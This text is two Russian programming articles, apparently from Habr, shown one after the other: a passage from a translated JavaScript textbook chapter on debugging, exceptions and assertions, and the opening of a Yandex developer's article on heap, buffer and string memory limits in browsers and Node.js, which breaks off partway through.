Иногда это очевидно. Сообщение об ошибке наводит вас на конкретную строку программы, и если вы прочтёте описание ошибки и эту строку, вы часто сможете найти проблему.
Но не всегда. Иногда строчка, приводящая к ошибке, просто оказывается первым местом, где некорректное значение, полученное где-то ещё, используется неправильно. Иногда вообще нет сообщения об ошибке – есть просто неверный результат. Если вы делали упражнения из предыдущих глав, вы наверняка попадали в такие ситуации.
Следующий пример пробует преобразовать целое число в строку в заданной системы счисления (десятичной, двоичной или другой), отнимая последнюю ((цифру)) и совершая деление, чтобы избавиться от этой цифры.
```
function numberToString(n, base) {
var result = "", sign = "";
if (n < 0) {
sign = "-";
n = -n;
}
do {
result = String(n % base) + result;
n /= base;
} while (n > 0);
return sign + result;
}
console.log(numberToString(13, 10));
// → 1.5e-3231.3e-3221.3e-3211.3e-3201.3e-3191.3e-3181.3…
```
Даже если вы нашли проблему – притворитесь, что ещё не нашли. Мы знаем, что программа сбоит, и нам нужно узнать, почему.
Здесь вам надо преодолеть желание начать вносить случайные изменения в код. Вместо этого подумайте. Проанализируйте результат и придумайте теорию, по которой это происходит. Проведите дополнительные наблюдения для проверки теории – а если теории нет, проведите наблюдения, которые бы помогли вам изобрести её.
Размещение нескольких вызовов console.log в стратегических местах – хороший способ получить дополнительную информацию о том, что программа делает. В нашем случае нам нужно, чтобы n принимала значения 13, 1, затем 0. Давайте выведем значения в начале цикла:
```
13
1.3
0.13
0.013
…
1.5e-323
```
Н-да. Деление 13 на 10 выдаёт не целое число. Вместо n /= base нам нужно n = Math.floor(n / base), тогда число будет корректно «сдвинуто» вправо.
Кроме console.log можно воспользоваться отладчиком в браузере. Современные браузеры умеют ставить точку остановки на выбранной строчке кода. Это приведёт к приостановке выполнения программы каждый раз, когда будет достигнута выбранная строчка, и тогда вы сможете просмотреть содержимое переменных. Не буду подробно расписывать процесс, поскольку у разных браузеров он организован по-разному – поищите в вашем браузере “developer tools”, инструменты разработчика. Ещё один способ установить точку остановки – включить в код инструкцию для отладчика, состоящую из ключевого слова debugger. Если инструменты разработчика активны, исполнение программы будет приостановлено на этой инструкции, и вы сможете изучить состояние программы.
#### Распространение ошибок
К сожалению, программист может предотвратить появление не всех проблем. Если ваша программа общается с внешним миром, она может получить неправильные входные данные, или же системы, с которыми она пытается взаимодействовать, окажутся сломанными или недоступными.
Простые программы, или программы, работающие под вашим надзором, могут просто «сдаваться» в такой момент. Вы можете изучить проблему и попробовать снова. «Настоящие» приложения не должны просто «падать». Иногда приходится принимать неправильные входные данные и как-то с ними работать. В других случаях, нужно сообщить пользователю, что что-то пошло не так – и потом уже сдаваться. В любом случае программа должна что-то сделать в ответ на возникновение проблемы.
Допустим, у вас есть функция promptInteger, которая запрашивает целое число и возвращает его. Что она должна сделать, если пользователь введёт «апельсин»?
Один из вариантов – вернуть особое значение. Обычно для этих целей используют null и undefined.
```
function promptNumber(question) {
var result = Number(prompt(question, ""));
if (isNaN(result)) return null;
else return result;
}
console.log(promptNumber("Сколько пальцев видите?"));
```
Это надёжная стратегия. Теперь любой код, вызывающий promptNumber, должен проверять, было ли возвращено число, и если нет, как-то выйти из ситуации – спросить снова, или задать значение по-умолчанию. Или вернуть специальное значение уже тому, кто его вызвал, сообщая о неудаче.
Во многих таких случаях, когда ошибки возникают часто и вызывающий функцию код должен принимать их во внимание, совершенно допустимо возвращать специальное значение как индикатор ошибки. Но есть и минусы. Во-первых, что, если функция и так может вернуть любой тип значения? Для неё сложно найти специальное значение, которое будет отличаться от допустимого результата.
Вторая проблема – работа со специальными значениями может замусорить код. Если функция promptNumber вызывается 10 раз, то надо 10 раз проверить, не вернула ли она null. Если реакция на null заключается в возврате null на уровень выше, тогда там, где вызывался этот код, тоже нужно встраивать проверку на null, и так далее.
#### Исключения
Когда функция не может работать нормально, мы бы хотели остановить работу и перепрыгнуть туда, где такая ошибка может быть обработана. Этим занимается обработка исключений.
Код, встретивший проблему в момент выполнения, может поднять (или выкинуть) исключение (raise exception, throw exception), которое представляет из себя некое значение. Возврат исключения напоминает некий «прокачанный» возврат из функции – он выпрыгивает не только из самой функции, но и из всех вызывавших её функций, до того места, с которого началось выполнение. Это называется развёртыванием стека (unwinding the stack). Может быть, вы помните стек функций из главы 3… Исключение быстро проматывает стек вниз, выкидывая все контексты вызовов, которые встречает.
Если бы исключения сразу доходили до самого низа стека, пользы от них было бы немного. Они бы просто предоставляли интересный способ взорвать программу. Их сила в том, что на их пути в стеке можно поставить «препятствия», которые будут ловить исключения, мчащиеся по стеку. И тогда с этим можно сделать что-то полезное, после чего программа продолжает выполняться с той точки, где было поймано исключение.
Пример:
```
function promptDirection(question) {
var result = prompt(question, "");
if (result.toLowerCase() == "left") return "L";
if (result.toLowerCase() == "right") return "R";
throw new Error("Недопустимое направление: " + result);
}
function look() {
if (promptDirection("Куда?") == "L")
return "дом";
else
return "двоих разъярённых медведей";
}
try {
console.log("Вы видите", look());
} catch (error) {
console.log("Что-то не так: " + error);
}
```
Ключевое слово throw используется для выбрасывания исключения. Ловлей занимается кусок кода, обёрнутый в блок try, за которым следует catch. Когда код в блоке try выкидывает исключение, выполняется блок catch. Переменная, указанная в скобках, будет привязана к значению исключения. После завершения выполнения блока catch, или же если блок try выполняется без проблем, выполнение переходит к коду, лежащему после инструкции try/catch.
В данном случае для создания исключения мы использовали конструктор Error. Это стандартный конструктор, создающий объект со свойством message. В современных окружениях JavaScript экземпляры этого конструктора также собирают информацию о стеке вызовов, который был накоплен в момент выкидывания исключения – так называемое отслеживание стека (stack trace). Эта информация сохраняется в свойстве stack, и может помочь при разборе проблемы – она сообщает, в какой функции случилась проблема и какие другие функции привели к данному вызову.
Обратите внимание, что функция look полностью игнорирует возможность возникновения проблем в promptDirection. Это преимущество исключений – код, обрабатывающий ошибки, нужен только в том месте, где происходит ошибка, и там, где она обрабатывается. Промежуточные функции просто не обращают на это внимания.
Ну, почти.
#### Подчищаем за исключениями
Представьте следующую ситуацию: функция withContext желает удостовериться, что во время её выполнения переменная верхнего уровня context получит специальное значение контекста. После завершения выполнения, она восстанавливает её старое значение.
```
var context = null;
function withContext(newContext, body) {
var oldContext = context;
context = newContext;
var result = body();
context = oldContext;
return result;
}
```
Что, если функция body выбросит исключение? В таком случае вызов withContext будет выброшен исключением из стека, и переменной context никогда не будет возвращено первоначальное значение.
Но у инструкции try есть ещё одна особенность. За ней может следовать блок finally, либо вместо catch, либо вместе с catch. Блок finally означает «что бы ни произошло, выполнить код в любом случае после выполнения блока try». Если функции надо что-то подчистить, то подчищающий код нужно включать в блок finally.
```
function withContext(newContext, body) {
var oldContext = context;
context = newContext;
try {
return body();
} finally {
context = oldContext;
}
}
```
Заметьте, что нам больше не нужно сохранять результат вызова body в отдельной переменной, чтобы вернуть его. Даже если мы возвращаемся из блока try, блок finally всё равно будет выполнен. Теперь мы можем безопасно сделать так:
```
try {
withContext(5, function() {
if (context < 10)
throw new Error("Контекст слишком мал!");
});
} catch (e) {
console.log("Игнорируем: " + e);
}
// → Игнорируем: Error: Контекст слишком мал!
console.log(context);
// → null
```
Несмотря на то, что вызываемая из withContext функция «сломалась», сам по себе withContext по-прежнему подчищает значение переменной context.
#### Выборочный отлов исключений
Когда исключение доходит до низа стека и его никто не поймал — его обрабатывает окружение. Как именно – зависит от конкретного окружения. В браузерах описание ошибки выдаётся в консоль (она обычно доступна в меню «Инструменты» или «Разработка»).
Если речь идёт об ошибках или проблемах, которые программа не может обработать в принципе, допустимо просто пропустить такую ошибку. Необработанное исключение – разумный способ сообщить о проблеме в программе, и консоль в современных браузерах выдаст вам необходимую информацию о том, какие вызовы функций были в стеке в момент возникновения проблемы.
Если возникновение проблемы предсказуемо, программа не должна падать с необработанным исключением — это не очень дружественно по отношению к пользователю.
Недопустимое использование языка – ссылки на несуществующую переменную, запрос свойств у переменной, равной null, или вызов чего-то, что не является функцией, тоже приводит к выбрасыванию исключений. Такие исключения можно отлавливать точно так же, как свои собственные.
При входе в блок catch мы знаем только, что что-то внутри блока try привело к исключению. Мы не знаем, что именно, и какое исключение произошло.
JavaScript (что является вопиющим упущением) не предоставляет непосредственной поддержки выборочного отлова исключений: либо ловим все, либо никакие. Из-за этого люди часто предполагают, что случившееся исключение – именно то, ради которого и писался блок catch.
Но может быть и по-другому. Нарушение произошло где-то ещё, или в программу вкралась ошибка. Вот пример, где мы пробуем вызывать promptDirection до тех пор, пока не получим допустимый ответ:
```
for (;;) {
try {
var dir = promtDirection("Куда?"); // ← опечатка!
console.log("Ваш выбор ", dir);
break;
} catch (e) {
console.log("Недопустимое направление. Попробуйте ещё раз.");
}
}
```
Конструкция for (;;) – способ устроить бесконечный цикл. Мы вываливаемся из него, только когда получаем допустимое направление. Но мы неправильно написали название promptDirection, что приводит к ошибке “undefined variable”. А так как блок catch игнорирует значение исключения e, предполагая, что он разбирается с другой проблемой, он считает, что выброшенное исключение является результатом неправильных входных данных. Это приводит к бесконечному циклу и скрывает полезное сообщение об ошибке насчёт неправильного имени переменной.
Как правило, не стоит так ловить исключения, если только у вас нет цели перенаправить их куда-либо – к примеру, по сети, чтобы сообщить другой системе о падении нашей программы. И даже тогда внимательно смотрите, не будет ли скрыта важная информация.
Значит, нам надо поймать определённое исключение. Мы можем в блоке catch проверять, является ли случившееся исключение интересующим нас исключением, а в противном случае заново выбрасывать его. Но как нам распознать исключение?
Конечно, мы могли бы сравнить свойство message с сообщением об ошибке, которую мы ждём. Но это ненадёжный способ писать код – использовать информацию, предназначающуюся для человека (сообщение), чтобы принять программное решение. Как только кто-нибудь поменяет или переведёт это сообщение, код перестанет работать.
Давайте лучше определим новый тип ошибки и используем instanceof для его распознавания.
```
function InputError(message) {
this.message = message;
this.stack = (new Error()).stack;
}
InputError.prototype = Object.create(Error.prototype);
InputError.prototype.name = "InputError";
```
Прототип наследуется от Error.prototype, поэтому instanceof Error тоже будет выполняться для объектов типа InputError. И ему назначено свойство name, как и другим стандартным типам ошибок (Error, SyntaxError, ReferenceError, и т.п.)
Присвоение свойству stack пытается передать этому объекту отслеживание стека, на тех платформах, которые это поддерживают, путём создания объекта Error и использования его стека.
Теперь promptDirection может сотворить такую ошибку.
```
function promptDirection(question) {
var result = prompt(question, "");
if (result.toLowerCase() == "left") return "L";
if (result.toLowerCase() == "right") return "R";
throw new InputError("Invalid direction: " + result);
}
```
А в цикле её будет ловить сподручнее.
```
for (;;) {
try {
var dir = promptDirection("Куда?");
console.log("Ваш выбор", dir);
break;
} catch (e) {
if (e instanceof InputError)
console.log("Недопустимое направление. Попробуйте ещё раз.");
else
throw e;
}
}
```
Код отлавливает только экземпляры InputError и пропускает другие исключения. Если вы снова сделаете такую же опечатку, будет корректно выведено сообщение о неопределённой переменной.
#### Утверждения (Assertions)
Утверждения – инструмент для простой проверки ошибок. Рассмотрим вспомогательную функцию assert:
```
function AssertionFailed(message) {
this.message = message;
}
AssertionFailed.prototype = Object.create(Error.prototype);
function assert(test, message) {
if (!test)
throw new AssertionFailed(message);
}
function lastElement(array) {
assert(array.length > 0, "пустой массив в lastElement");
return array[array.length - 1];
}
```
Это – компактный способ ужесточения требований к значениям, который выбрасывает исключение в случае, когда заданное условие не выполняется. К примеру, функция lastElement, добывающая последний элемент массива, вернула бы undefined для пустых массивов, если б мы не использовали assertion. Извлечение последнего элемента пустого массива не имеет смысла, и это явно было бы ошибкой программиста.
Утверждения – способ убедиться в том, что ошибки провоцируют прерывание программы в том месте, где они совершены, а не просто выдают странные величины, которые передаются по системе и вызывают проблемы в каких-то других, не связанных с этим, местах.
#### Итог
Ошибки и недопустимые входные данные случаются в жизни. Ошибки в программах надо искать и исправлять. Их легче найти, используя автоматические системы проверок и добавляя утверждения в ваши программы.
Проблемы, вызванные чем-то, что неподвластно вашей программе, нужно обрабатывать достойно. Иногда, когда проблему можно решить локально, допустимо возвращать специальные значения для отслеживания таких случаев. В других случаях предпочтительно использовать исключения.
Выброс исключения приводит к разматыванию стека до тех пор, пока не будет встречен блок try/catch или пока мы не дойдём до дна стека. Значение исключения будет передано в блок catch, который сможет удостовериться в том, что это исключение действительно то, которое он ждёт, и обработать его. Для работы с непредсказуемыми событиями в потоке программы можно использовать блоки finally, чтобы определённые части кода были выполнены в любом случае.
#### Упражнения
##### Повтор
Допустим, у вас есть функция primitiveMultiply, которая в 50% случаев перемножает 2 числа, а в остальных случаях выбрасывает исключение типа MultiplicatorUnitFailure. Напишите функцию, обёртывающую эту, и просто вызывающую её до тех пор, пока не будет получен успешный результат.
Убедитесь, что вы обрабатываете только нужные вам исключения.
```
function MultiplicatorUnitFailure() {}
function primitiveMultiply(a, b) {
if (Math.random() < 0.5)
return a * b;
else
throw new MultiplicatorUnitFailure();
}
function reliableMultiply(a, b) {
// Ваш код
}
console.log(reliableMultiply(8, 8));
// → 64
```
##### Запертая коробка
Рассмотрим такой, достаточно надуманный, объект:
```
var box = {
locked: true,
unlock: function() { this.locked = false; },
lock: function() { this.locked = true; },
_content: [],
get content() {
if (this.locked) throw new Error("Заперто!");
return this._content;
}
};
```
Это коробочка с замком. Внутри лежит массив, но до него можно добраться только, когда коробка не заперта. Напрямую обращаться к свойству \_content нельзя.
Напишите функцию withBoxUnlocked, принимающую в качестве аргумента функцию, которая отпирает коробку, выполняет функцию, и затем обязательно запирает коробку снова перед выходом – неважно, выполнилась ли переданная функция правильно, или она выбросила исключение.
```
function withBoxUnlocked(body) {
// Ваш код
}
withBoxUnlocked(function() {
box.content.push("золотишко");
});
try {
withBoxUnlocked(function() {
throw new Error("Пираты на горизонте! Отмена!");
});
} catch (e) {
console.log("Произошла ошибка:", e);
}
console.log(box.locked);
// → true
```
В качестве призовой игры убедитесь, что при вызове withBoxUnlocked, когда коробка не заперта, коробка остаётся незапертой. | https://habr.com/ru/post/242609/ | null | ru | null |
# Память в браузерах и в Node.js: ограничения, утечки и нестандартные оптимизации
Интро: почему я написал эту статью
----------------------------------
Меня зовут Виктор, я разрабатываю страницу результатов поиска Яндекса. Несмотря на внешнюю простоту, поисковая выдача — сложная штука: на каждый запрос генерируется своя уникальная страница, на которой в зависимости от запроса может присутствовать блок Картинок, Карты, Переводчик, видеоплеер и многие другие компоненты. Все они должны запускаться и работать в памяти обычных бюджетных телефонов, которые использует большинство наших пользователей. Браузерам должно хватать ресурсов, чтобы пользователь не видел вот такого:
На своих серверах мы должны генерировать сотни миллионов уникальных страниц в сутки — это сложнее, чем просто отдавать одни и те же ресурсы. Генерация страницы не должна быть слишком требовательной к памяти сервера.
Разрабатывая проект на JavaScript (TypeScript, ClojureScript или каком-то другом языке, транслируемом в JavaScript), мы привыкли создавать объекты, массивы, строки и вообще писать код, как будто память бесконечна. Это не так. Я расскажу о видах проблем с памятью, о том, какие ограничения мы часто забываем и как их можно преодолеть. В ответ браузеры и пользователи скажут вам спасибо.
* [Категории проблем с памятью](https://habr.com/ru/company/yandex/blog/666870/#1)
* [Ограничения по памяти для разных типов данных](https://habr.com/ru/company/yandex/blog/666870/#2)
[Heap](https://habr.com/ru/company/yandex/blog/666870/#21)
[Buffer, TypedArray](https://habr.com/ru/company/yandex/blog/666870/#22)
[String](https://habr.com/ru/company/yandex/blog/666870/#23)
[Map, Set](https://habr.com/ru/company/yandex/blog/666870/#24)
[Call stack](https://habr.com/ru/company/yandex/blog/666870/#25)
[Типичные задачи, в которых можно наткнуться на ограничения по памяти](https://habr.com/ru/company/yandex/blog/666870/#26)
* [Soft-утечки](https://habr.com/ru/company/yandex/blog/666870/#3)
[Пример из продакшена](https://habr.com/ru/company/yandex/blog/666870/#31)
[Как получаются soft-утечки](https://habr.com/ru/company/yandex/blog/666870/#32)
[Как их обнаружить](https://habr.com/ru/company/yandex/blog/666870/#33)
[Как найти причину](https://habr.com/ru/company/yandex/blog/666870/#34)
[1. Memory Allocation Timeline](https://habr.com/ru/company/yandex/blog/666870/#341)
[2. Техника трёх снапшотов](https://habr.com/ru/company/yandex/blog/666870/#342)
[3. queryObjects](https://habr.com/ru/company/yandex/blog/666870/#343)
[Тренируемся находить утечки](https://habr.com/ru/company/yandex/blog/666870/#344)
* [Hard-утечки](https://habr.com/ru/company/yandex/blog/666870/#4)
[Пример из продакшена](https://habr.com/ru/company/yandex/blog/666870/#41)
[Как бороться](https://habr.com/ru/company/yandex/blog/666870/#42)
* [Нестандартные оптимизации памяти в Node.js](https://habr.com/ru/company/yandex/blog/666870/#5)
[Исходный код](https://habr.com/ru/company/yandex/blog/666870/#51)
[Module.\_pathCache](https://habr.com/ru/company/yandex/blog/666870/#52)
[Несколько версий пакета в node\_modules](https://habr.com/ru/company/yandex/blog/666870/#53)
[require('./data.json')](https://habr.com/ru/company/yandex/blog/666870/#54)
* [Заключение](https://habr.com/ru/company/yandex/blog/666870/#6)
Категории проблем с памятью
---------------------------
JavaScript наряду с Java, C# и Python принадлежит к языкам с автоматической [сборкой мусора](https://ru.wikipedia.org/wiki/%D0%A1%D0%B1%D0%BE%D1%80%D0%BA%D0%B0_%D0%BC%D1%83%D1%81%D0%BE%D1%80%D0%B0).
Проблемы с памятью в таких языках можно разделить на три категории:
1. Не-утечки: код и данные, которые упираются в ограничения по памяти. Ограничения могут быть либо искусственными — заложенными в язык или среду выполнения, либо естественными — вытекающими из характеристик железа, на котором выполняется код.
2. Soft-утечки (мягкие, локальные утечки): что-то мешает сборщику мусора освободить память, например, список содержит в одном из элементов ссылку на давно не нужный объект.
3. Hard-утечки (жёсткие, глобальные утечки): память не освобождается, пока браузер или вся операционная система не будут перезапущены.
Важно отличать утечки от неоптимального кода с высоким потреблением памяти: иногда слова «у меня страница течёт» некорректно используются там, где открыто жадное до памяти приложение, но утечки при этом отсутствуют.
Далее я подробно расскажу о каждой из трёх категорий: что она из себя представляет, как её обнаружить, как с ней бороться.
Ограничения по памяти для разных типов данных
---------------------------------------------
Систематизировать свои знания по ограничениям меня побудила [эта заметка](https://t.me/gorshochekvarit/29) Романа Дворнова.
### Heap
Во многих реализациях языков с автоматической сборкой мусора — хоть и не во всех — для динамического выделения памяти используется [куча](https://ru.wikipedia.org/wiki/%D0%9A%D1%83%D1%87%D0%B0_(%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C)), она же heap. Например, это языки на основе JVM — Java, Kotlin и так далее. Кучу использует и движок JavaScript V8. Соответственно, размер кучи — самое главное ограничение, с которого надо начинать разбираться.
Компактное и интересное описание того, как в V8 устроена память вообще и куча в частности, можно найти в [этой статье](https://deepu.tech/memory-management-in-v8/). Вот самая ценная картинка оттуда:
В Chrome и других браузерах, основанных на Chromium, текущее состояние хипа можно узнать из `performance.memory`:
```
> console.log(performance.memory)
MemoryInfo {totalJSHeapSize: 10000000, usedJSHeapSize: 10000000, jsHeapSizeLimit: 3760000000}
```
* Описание возвращаемого результата [на MDN](https://developer.mozilla.org/en-US/docs/Web/API/Performance/memory).
* Поддержка в браузерах [на сайте Can I use](https://caniuse.com/mdn-api_performance_memory).
С появлением `performance.memory` в Chrome связана [интересная история](https://www.html5rocks.com/en/tutorials/memory/effectivemanagement/). Во время роста популярности Gmail в 2010-2012 годах пользователи начали всё чаще жаловаться на высокое потребление памяти браузером. В Google разработчики Gmail пришли к разработчикам Chrome и убедили тех добавить возможность получать из JS информацию о состоянии памяти и усовершенствовать инструменты работы с памятью в DevTools. После этого разработчики Gmail добавили в своё почтовое приложение сбор данных о памяти у клиентов, нашли и исправили несколько утечек. И вообще — в разы уменьшили потребление памяти: примерно в два раза на медиане и в пять раз на 99-й процентили. Кроме исправления уже существующих багов, мониторинг памяти в Gmail помогает оперативно находить и устранять проблемы с памятью в новых версиях приложения и даже баги в сборщике мусора в новых версиях Chrome (обратите внимание, на вертикальной оси отложены не абсолютные значения в мегабайтах, а кратные какой-то базовой величине x):
В других браузерах — Firefox, Safari — память устроена аналогично. В Firefox даже есть специальная страница `about:memory`, на которой можно увидеть детальное состояние памяти и вызвать сборку мусора. Проблема в том, что в этих браузерах неизвестен способ из кода на JS получить состояние хипа. Если у вас есть такая информация — пишите в комментариях.
В Node.js состояние памяти можно узнать вызовом `process.memoryUsage()`:
```
$ node
Welcome to Node.js v16.8.0.
Type ".help" for more information.
> console.log(process.memoryUsage())
{
rss: 26689536,
heapTotal: 6656000,
heapUsed: 4633936,
external: 893129,
arrayBuffers: 11158
}
```
Документация по `process.memoryUsage()` находится [здесь](https://nodejs.org/api/process.html#process_process_memoryusage).
С получением текущего состояния хипа разобрались, теперь к ограничениям. В Chrome и Node.js максимальный размер хипа определяется при старте:
* Если в командной строке указаны параметры, настраивающие размер хипа, то значение берётся оттуда.
* Иначе значение вычисляется в зависимости от архитектуры (32- или 64-битная) и объёма физической памяти.
Насколько мне удалось разобраться, максимальный размер хипа определяется так (если у вас есть дополнения и уточнения — пишите, исправлю):
| Версия | Heap size 32-bit | Heap size 64-bit |
| --- | --- | --- |
| Node.js <= 11 | 700 МБ | 1400 МБ |
| Chrome <= 82, Node.js 12 | Физ. память / 4, но не меньше 128 МБ и не больше 1 ГБ | Физ. память / 2, но не меньше 256 МБ и не больше 2 ГБ |
| Chrome >= 83, Node.js >= 14 | См. выше | См. выше. Если физ. памяти >= 16 ГБ, то максимум увеличен до 4 ГБ |
Подробности о значениях и логике выбора в Node.js можно почитать [в этом комментарии к пул-реквесту](https://github.com/nodejs/node/pull/25576#issuecomment-455737693). Соответствующий код в движке V8: [Heap::HeapSizeFromPhysicalMemory](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/heap/heap.cc;l=259;drc=18e03c38bb106648f1403e7030161b1c2aaaeb61), [ResourceConstraints::ConfigureDefaults](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/api/api.cc;l=824;drc=2ffc79b7d4790b7893ecf86bbfd9e3d0153e10b6).
Параметры командной строки для V8, управляющие размерами областей хипа:
```
$ node --v8-options | grep -- -size
…
--min-semi-space-size (min size of a semi-space (in MBytes), the new space consists of two semi-spaces)
--max-semi-space-size (max size of a semi-space (in MBytes), the new space consists of two semi-spaces)
--max-old-space-size (max size of the old space (in Mbytes))
--max-heap-size (max size of the heap (in Mbytes) both max_semi_space_size and max_old_space_size take precedence. All three flags cannot be specified at the same time.)
--initial-heap-size (initial size of the heap (in Mbytes))
--huge-max-old-generation-size (Increase max size of the old space to 4 GB for x64 systems withthe physical memory bigger than 16 GB)
--initial-old-space-size (initial old space size (in Mbytes))
…
--stack-size (default size of stack region v8 is allowed to use (in kBytes))
```
Самый известный и широко используемый из них — это `--max-old-space-size`, позволяющий увеличить размер Old Space. Например, если на устройстве достаточно физической памяти (пусть будет 32 ГБ) и нашей программе не хватает 4 ГБ, выделенных ей по умолчанию, то мы можем запустить её так:
```
node --max-old-space-size=8000 index.js
```
О тонкостях настройки памяти, если Node.js выполняется в контейнере Docker, можно почитать [в этой хабрастатье](https://habr.com/ru/company/ruvds/blog/454522/).
### Buffer, TypedArray
Максимальная длина одного буфера или типизированного массива в Node.js ограничена [константой](https://nodejs.org/api/buffer.html#buffer_buffer_constants). Сама константа добавлена в Node.js v8.2.0, но ограничение существовало и до этого, насколько я знаю.
```
require('buffer').constants.MAX_LENGTH
```
Значение константы зависит от версии и разрядности Node.js:
| Версия Node.js | 32-bit | 64-bit |
| --- | --- | --- |
| 8.2.0…13 | 2\*\*30-1 (~1 ГБ) | 2\*\*31-1 (~2 ГБ) |
| 14 | 2\*\*30-1 (~1 ГБ) | 2\*\*32-1 (~4 ГБ) |
| 15…16 | 2\*\*30-1 (~1 ГБ) | 2\*\*32 (4 ГБ) |
Пример кода:
```
// Node.js v12 64-bit
new Int8Array(2**31-1)
// Int8Array(2147483647)
new Int8Array(2**31)
// Uncaught RangeError: Invalid typed array length: 2147483648
// at new Int8Array ()
new Uint32Array(2\*\*31-1)
// Uint32Array(2147483647)
new Uint32Array(2\*\*31)
// Uncaught RangeError: Invalid typed array length: 2147483648
// at new Uint32Array ()
```
Теперь о браузере Chrome. В исходном коде V8 есть максимальное разрешённое значение длины типизированного массива [v8::TypedArray::kMaxLength](https://source.chromium.org/chromium/chromium/src/+/main:v8/include/v8-typed-array.h;l=25):
```
/*
* The largest typed array size that can be constructed using New.
*/
static constexpr size_t kMaxLength =
internal::kApiSystemPointerSize == 4
? internal::kSmiMaxValue // 2147483647 (но это не точно)
: static_cast(uint64\_t{1} << 32); // 4294967296
```
К сожалению, `v8::TypedArray::kMaxLength` никак не прочитать из JS. Единственное, что я смог найти: в Node.js начиная с 14 версии значения `JSArrayBuffer::kMaxByteLength` и `JSTypedArray::kMaxLength` (оно равно `v8::TypedArray::kMaxLength`) [доступны](https://github.com/nodejs/node/blob/8a3f28a05cd22dbdeb9233386344c47c936896e2/deps/v8/src/runtime/runtime-test.cc#L1376-L1386) при включённой опции `--allow-natives-syntax` в виде функций `%ArrayBufferMaxByteLength()` и `%TypedArrayMaxLength()`:
```
$ nvm use v16 && node --allow-natives-syntax
Welcome to Node.js v16.8.0.
Type ".help" for more information.
> %ArrayBufferMaxByteLength()
9007199254740991
> %TypedArrayMaxLength()
4294967296
> .exit
$ nvm use v14 && node --allow-natives-syntax
Welcome to Node.js v14.17.5.
Type ".help" for more information.
> %ArrayBufferMaxByteLength()
9007199254740991
> %TypedArrayMaxLength()
4294967295
> .exit
$ nvm use v12 && node --allow-natives-syntax
Welcome to Node.js v12.18.1.
Type ".help" for more information.
> %ArrayBufferMaxByteLength()
%ArrayBufferMaxByteLength()
^
Uncaught SyntaxError: ArrayBufferMaxByteLength is not defined
> %TypedArrayMaxLength()
%TypedArrayMaxLength()
^
Uncaught SyntaxError: TypedArrayMaxLength is not defined
> .exit
```
Но вернёмся к браузеру Chrome. При попытке создать типизированный массив с длиной, превышающей `v8::TypedArray::kMaxLength`, браузер выбросит ошибку:
```
> new Int8Array(2**33)
Uncaught RangeError: Invalid typed array length: 8589934592
```
Если длина будет меньше максимальной, но массив не поместится в память, браузер выбросит ошибку с другим сообщением:
```
> new Int8Array(2**32)
Uncaught RangeError: Array buffer allocation failed
```
В браузере Firefox максимальный объём типизированного массива в байтах [`maxByteLength()`](https://searchfox.org/mozilla-central/rev/da6a85e615827d353e5ca0e05770d8d346b761a9/js/src/vm/TypedArrayObject.h#135) вычисляется как равный максимальному размеру внутреннего буфера [ArrayBufferObject::maxBufferByteLength()](https://searchfox.org/mozilla-central/rev/da6a85e615827d353e5ca0e05770d8d346b761a9/js/src/vm/ArrayBufferObject.h#191). В 64-битной архитектуре с поддержкой больших буферов он равен 8 ГБ, в остальных случаях — 2 ГБ (2147483647, константа `INT32_MAX`). Максимальная разрешённая длина массива рассчитывается как `maxByteLength() / BYTES_PER_ELEMENT`, причём эти расчёты разбросаны по всему коду, например [здесь](https://searchfox.org/mozilla-central/rev/da6a85e615827d353e5ca0e05770d8d346b761a9/js/src/vm/TypedArrayObject.cpp#431) и [здесь](https://searchfox.org/mozilla-central/rev/da6a85e615827d353e5ca0e05770d8d346b761a9/js/src/vm/TypedArrayObject.cpp#512). Как и в Chrome, эти значения недоступны из JS.
При невозможности создать типизированный массив желаемой длины `N` можно увидеть такие сообщения об ошибке (обратите внимание, что в Node.js и Chrome число `N` может попасть в сообщение, и это может помешать группировке и подсчёту однотипных ошибок):
| Платформа | Сообщение |
| --- | --- |
| Node.js | RangeError: Invalid typed array length: N |
| Chrome | RangeError: Invalid typed array length: N |
| Chrome | RangeError: Array buffer allocation failed |
| Safari | Error: Out of memory |
| Firefox | RangeError: invalid array length |
С помощью [этого](https://jsfiddle.net/woscyp86/3/) и [этого](https://jsfiddle.net/5a4r9j3y/) скрипта я определил максимальные достижимые размеры `Int8Array` и `Int32Array`:
| Версия | Макс. длина `Int8Array` | Макс. длина `Int32Array` |
| --- | --- | --- |
| Chrome 99…102 MacOS и Windows | 2\_145\_386\_496 (2\*\*31-2\_097\_152, ~2 ГБ) | 536\_346\_624 (2\*\*29-524\_288) |
| Chrome 99 Android | 1\_073\_741\_823 (2\*\*30-1, ~1 ГБ) | 334\_082\_048 |
| Safari 13 MacOS | 2\_147\_483\_647 (2\*\*31-1, ~2 ГБ) | 536\_870\_911 (2\*\*29-1) |
| Firefox 96…100 MacOS и Windows | 8\_589\_934\_592 (2\*\*33, 8 ГБ) | 2\_147\_483\_648 (2\*\*31) |
Для всех браузеров кроме Chrome Android максимальная длина `Int32Array` в четыре раза меньше длины `Int8Array` (Int8 — это один байт, Int32 — четыре байта, поэтому элементов Int32 в той же памяти может поместиться в четыре раза меньше, чем элементов Int8). В Chrome Android я, скорее всего, столкнулся с нехваткой физической памяти телефона.
### String
Длина строки находится в поле [length](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length). В Node.js максимальное значение `length` ограничено [константой](https://nodejs.org/api/buffer.html#buffer_buffer_constants).
```
require('buffer').constants.MAX_STRING_LENGTH
```
Обратите внимание, что это не количество букв в строке, а именно число в поле `length` (в строгой формулировке — количество UTF-16 code units). Разные буквы и символы могут состоять из одного или двух code units:
```
console.log('Z'.length); // 1
console.log('Я'.length); // 1
console.log('😀'.length); // 2
```
Как один code point (для того же смайлика) превращается в два code unit, можно прочитать в [спецификации ES2016](https://262.ecma-international.org/7.0/#sec-utf16encoding).
В браузерах тоже есть ограничения на максимальную длину строки. Конкретные значения я определил с помощью [такого скрипта](https://jsfiddle.net/2mL7os5r/5/) и свёл в таблицу:
| Версия | `string.length` |
| --- | --- |
| Node.js 12 | 1\_073\_741\_799 (2\*\*30-25, ~1 ГБ) |
| Node.js 16 | 536\_870\_888 (2\*\*29-24, ~512 МБ) |
| Chrome 94…101 MacOS и Windows | 536\_870\_888 (2\*\*29-24, ~512 МБ) |
| Chrome 94 Android | Определить не удалось, примерно на 250 мегабайтах на моём телефоне падает вкладка или весь браузер |
| Safari 13 | 2\_147\_483\_647 (2\*\*31-1, ~2 ГБ) |
